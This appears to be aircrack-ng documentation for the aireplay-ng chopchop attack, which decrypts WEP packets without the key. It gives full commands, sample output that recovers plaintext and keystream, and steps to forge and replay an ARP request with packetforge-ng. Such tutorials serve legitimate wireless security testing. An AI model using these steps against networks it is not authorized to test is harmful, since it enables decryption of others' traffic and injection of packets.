This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, some access points are not vulnerable to this attack. Some may seem vulnerable at first but actually drop data packets shorter that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured, it additionally checks if the checksum of the header is correct after guessing the missing parts of it. This attack requires at least one WEP data packet.

If you wish to learn more about the theory behind this attack, see ChopchopTheory.

 aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0

Where:

• -4 means the chopchop attack
• -h 00:09:5B:EC:EE:F2 is the MAC address of an associated client or your card's MAC if you did fake authentication
• -b 00:14:6C:7E:40:80 is the access point MAC address
• ath0 is the wireless interface name

Although it is not shown, you may use any of the other aireplay-ng filters. The main page of aireplay-ng has the complete list. Additional typical filters could be the -m and -n to set the minimum and maximum packet sizes to select.

If the “-h” option is omitted, then a unauthenticated chopchop attack is performed. See the example below for more details.

This is an example an authenticated chopchop attack. Meaning you must first perform a fake authentication and use the source MAC with the “-h” option. Essentially this causes all packets to be sent with the source MAC specified by “-h” and the destination MAC will vary with 256 combinations.

 aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0

Where:

• -4 means the chopchop attack
• -h 00:09:5B:EC:EE:F2 is the MAC address of our card and must match the MAC used in the fake authentication
• -b 00:14:6C:7E:40:80 is the access point MAC address
• ath0 is the wireless interface name

The system responds:

      Read 165 packets...

         Size: 86, FromDS: 1, ToDS: 0 (WEP)
 
         BSSID  =  00:14:6C:7E:40:80
         Dest. MAC  =  FF:FF:FF:FF:FF:FF
         Source MAC  =  00:40:F4:77:E5:C9
 
         0x0000:  0842 0000 ffff ffff ffff 0014 6c7e 4080  .B..........l~@.
         0x0010:  0040 f477 e5c9 603a d600 0000 5fed a222  .@.w..`:...._.."
         0x0020:  e2ee aa48 8312 f59d c8c0 af5f 3dd8 a543  ...H......._=..C
         0x0030:  d1ca 0c9b 6aeb fad6 f394 2591 5bf4 2873  ....j.....%.[.(s
         0x0040:  16d4 43fb aebb 3ea1 7101 729e 65ca 6905  ..C...>.q.r.e.i.
         0x0050:  cfeb 4a72 be46                           ..Jr.F

 Use this packet ? y

You respond “y” above and the system continues.

 Saving chosen packet in replay_src-0201-191639.cap
 
 Offset   85 ( 0% done) | xor = D3 | pt = 95 |  253 frames written in   760ms
 Offset   84 ( 1% done) | xor = EB | pt = 55 |  166 frames written in   498ms
 Offset   83 ( 3% done) | xor = 47 | pt = 35 |  215 frames written in   645ms
 Offset   82 ( 5% done) | xor = 07 | pt = 4D |  161 frames written in   483ms
 Offset   81 ( 7% done) | xor = EB | pt = 00 |   12 frames written in    36ms
 Offset   80 ( 9% done) | xor = CF | pt = 00 |  152 frames written in   456ms
 Offset   79 (11% done) | xor = 05 | pt = 00 |   29 frames written in    87ms
 Offset   78 (13% done) | xor = 69 | pt = 00 |  151 frames written in   454ms
 Offset   77 (15% done) | xor = CA | pt = 00 |   24 frames written in    71ms
 Offset   76 (17% done) | xor = 65 | pt = 00 |  129 frames written in   387ms
 Offset   75 (19% done) | xor = 9E | pt = 00 |   36 frames written in   108ms
 Offset   74 (21% done) | xor = 72 | pt = 00 |   39 frames written in   117ms
 Offset   73 (23% done) | xor = 01 | pt = 00 |  146 frames written in   438ms
 Offset   72 (25% done) | xor = 71 | pt = 00 |   83 frames written in   249ms
 Offset   71 (26% done) | xor = A1 | pt = 00 |   43 frames written in   129ms
 Offset   70 (28% done) | xor = 3E | pt = 00 |   98 frames written in   294ms
 Offset   69 (30% done) | xor = BB | pt = 00 |  129 frames written in   387ms
 Offset   68 (32% done) | xor = AE | pt = 00 |  248 frames written in   744ms
 Offset   67 (34% done) | xor = FB | pt = 00 |  105 frames written in   315ms
 Offset   66 (36% done) | xor = 43 | pt = 00 |  101 frames written in   303ms
 Offset   65 (38% done) | xor = D4 | pt = 00 |  158 frames written in   474ms
 Offset   64 (40% done) | xor = 16 | pt = 00 |  197 frames written in   591ms
 Offset   63 (42% done) | xor = 7F | pt = 0C |   72 frames written in   217ms
 Offset   62 (44% done) | xor = 1F | pt = 37 |  166 frames written in   497ms
 Offset   61 (46% done) | xor = 5C | pt = A8 |  119 frames written in   357ms
 Offset   60 (48% done) | xor = 9B | pt = C0 |  229 frames written in   687ms
 Offset   59 (50% done) | xor = 91 | pt = 00 |  113 frames written in   339ms
 Offset   58 (51% done) | xor = 25 | pt = 00 |  184 frames written in   552ms
 Offset   57 (53% done) | xor = 94 | pt = 00 |   33 frames written in    99ms
 Offset   56 (55% done) | xor = F3 | pt = 00 |  193 frames written in   579ms
 Offset   55 (57% done) | xor = D6 | pt = 00 |   17 frames written in    51ms
 Offset   54 (59% done) | xor = FA | pt = 00 |   81 frames written in   243ms
 Offset   53 (61% done) | xor = EA | pt = 01 |   95 frames written in   285ms
 Offset   52 (63% done) | xor = 5D | pt = 37 |   24 frames written in    72ms
 Offset   51 (65% done) | xor = 33 | pt = A8 |   20 frames written in    59ms
 Offset   50 (67% done) | xor = CC | pt = C0 |   97 frames written in   291ms
 Offset   49 (69% done) | xor = 03 | pt = C9 |  188 frames written in   566ms
 Offset   48 (71% done) | xor = 34 | pt = E5 |   48 frames written in   142ms
 Offset   47 (73% done) | xor = 34 | pt = 77 |   64 frames written in   192ms
 Offset   46 (75% done) | xor = 51 | pt = F4 |  253 frames written in   759ms
 Offset   45 (76% done) | xor = 98 | pt = 40 |  109 frames written in   327ms
 Offset   44 (78% done) | xor = 3D | pt = 00 |  242 frames written in   726ms
 Offset   43 (80% done) | xor = 5E | pt = 01 |  194 frames written in   583ms
 Offset   42 (82% done) | xor = AF | pt = 00 |   99 frames written in   296ms
 Offset   41 (84% done) | xor = C4 | pt = 04 |  164 frames written in   492ms
 Offset   40 (86% done) | xor = CE | pt = 06 |   69 frames written in   207ms
 Offset   39 (88% done) | xor = 9D | pt = 00 |  137 frames written in   411ms
 Offset   38 (90% done) | xor = FD | pt = 08 |  229 frames written in   688ms
 Offset   37 (92% done) | xor = 13 | pt = 01 |  232 frames written in   695ms
 Offset   36 (94% done) | xor = 83 | pt = 00 |   19 frames written in    58ms
 Offset   35 (96% done) | xor = 4E | pt = 06 |  230 frames written in   689ms
 Sent 957 packets, current guess: B9...
 
 The AP appears to drop packets shorter than 35 bytes.
 Enabling standard workaround: ARP header re-creation.
 
 Saving plaintext in replay_dec-0201-191706.cap
 Saving keystream in replay_dec-0201-191706.xor
 
 Completed in 21s (2.29 bytes/s)

Success! The file “replay_dec-0201-191706.xor” above can then be used in the next step to generate a packet with packetforge-ng such as an arp packet. You may also use tcpdump or Wireshark to view the decrypted packet which is stored in replay_dec-0201-191706.cap.

This is an example of chopchop attack without authentication. Meaning you do not need to perform a fake authentication first and you omit the “-h” option. Essentially this causes all packets to be sent with the 256 random source MAC addresses and a broadcast destination MAC.

This only works with a very limited number Access Points (AP). For APs which are vulnerable, they will only send a deauthentication packet if the source packet was valid. If this is the case, then one byte has been successfully determined.

 aireplay-ng -4 -b 00:14:6C:7E:40:80 ath0

Where:

• -4 means the chopchop attack
• -b 00:14:6C:7E:40:80 is the access point MAC address
• ath0 is the wireless interface name

1. First, we decrypt one packet

    aireplay-ng -4 ath0

If this isn't successful, in most cases the access point just drops the data because it does not know the MAC which is sending it. In this case we have to use the MAC adress of a connected client which is allowed to send data over the network:

    aireplay-ng -4 -h 00:09:5B:EB:C5:2B ath0

2. Let's have a look at the IP address

    tcpdump -s 0 -n -e -r replay_dec-0627-022301.cap
    reading from file replay_dec-0627-022301.cap, link-type [...]
    IP 192.168.1.2 > 192.168.1.255: icmp 64: echo request seq 1

3. Then, forge an ARP request The source IP (192.168.1.100) doesn't matter, but the destination IP (192.168.1.2) must respond to ARP requests. The source MAC must belong to an associated station, in case the access point is filtering unauthenticated traffic.

    packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:09:5B:EB:C5:2B -k 192.168.1.2 -l 192.168.1.100 -y replay_dec-0627-022301.xor -w arp.cap

4. And replay our forged ARP request

    aireplay-ng -2 -r arp.cap ath0

When to say no to a packet? You may ask if there are times when you should say “no” to selecting a specific packet. Here are some examples of when you might say no:

• The packet length was too short and you wanted/needed PRGA longer then the packet length.
• You were looking to decrypt a packet to/from a specific client and you would wait for a packet to/from that client MAC address.
• You may want to purposely pick a short packet. The reason being that the decryption time is linear to the length of the packet. IE Small packets take less time.

Also see the general aireplay-ng troubleshooting ideas: aireplay-ng usage troubleshooting.

Although not a direct troubleshooting tip for the chopchop attack, if you are unable to get the attack to work, there are some alternate attacks you should consider:

• Fragmentation Attack: This is an alternate technique to obtain PRGA for building packets for subsequent injection.
• -p 0841 method: This technique allows you to reinject any data packet received from the access point and generate IVs.